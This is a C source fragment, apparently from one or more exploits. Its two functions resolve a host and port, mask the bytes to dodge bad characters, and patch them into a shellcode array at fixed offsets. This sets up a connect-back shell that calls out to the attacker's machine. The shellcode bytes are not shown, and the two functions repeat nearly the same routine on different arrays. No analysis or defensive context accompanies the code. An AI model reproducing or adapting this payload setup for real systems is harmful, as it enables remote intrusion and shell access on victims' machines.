void initasmcode(char *addr,int port) {
char abuf[4],amask[4],pbuf[2],pmask[2];
char name[256];
struct hostent *hp;
int i;
if (!addr) gethostname(name,sizeof(name));
else strcpy(name,addr);
if ((i=inet_addr(name))==-1) {
if ((hp=gethostbyname(name))==NULL) {
printf("error: address\n");exit(-1);
}
memcpy(&i,hp->h_addr,4);
}
putaddr(abuf,rev(i));
pbuf[0]=(port>>8)&0xff;
pbuf[1]=(port)&0xff;
findvalmask(abuf,amask,4);
findvalmask(pbuf,pmask,2);
memcpy(&shellcode[AOFF],abuf,4);
memcpy(&shellcode[AMSK],amask,4);
memcpy(&shellcode[POFF],pbuf,2);
memcpy(&shellcode[PMSK],pmask,2);
}
void fixshellcode(char *host, unsigned short port) {
unsigned long ip;
char abuf[4],amask[4],pbuf[2],pmask[2];
if ((ip = inet_addr(host)) == -1) {
struct hostent *hostm;
if ((hostm=gethostbyname(host)) == NULL) {
printf("Unable to resolve local address\n");
exit(0);
}
memcpy((char*)&ip, hostm->h_addr, hostm->h_length);
}
abuf[3]=(ip>>24)&0xff;
abuf[2]=(ip>>16)&0xff;
abuf[1]=(ip>>8)&0xff;
abuf[0]=(ip)&0xff;
pbuf[0]=(port>>8)&0xff;
pbuf[1]=(port)&0xff;
findvalmask(abuf,amask,4);
findvalmask(pbuf,pmask,2);
memcpy(&code[33],abuf,4);
memcpy(&code[38],amask,4);
memcpy(&code[48],pbuf,2);
memcpy(&code[53],pmask,2);
}
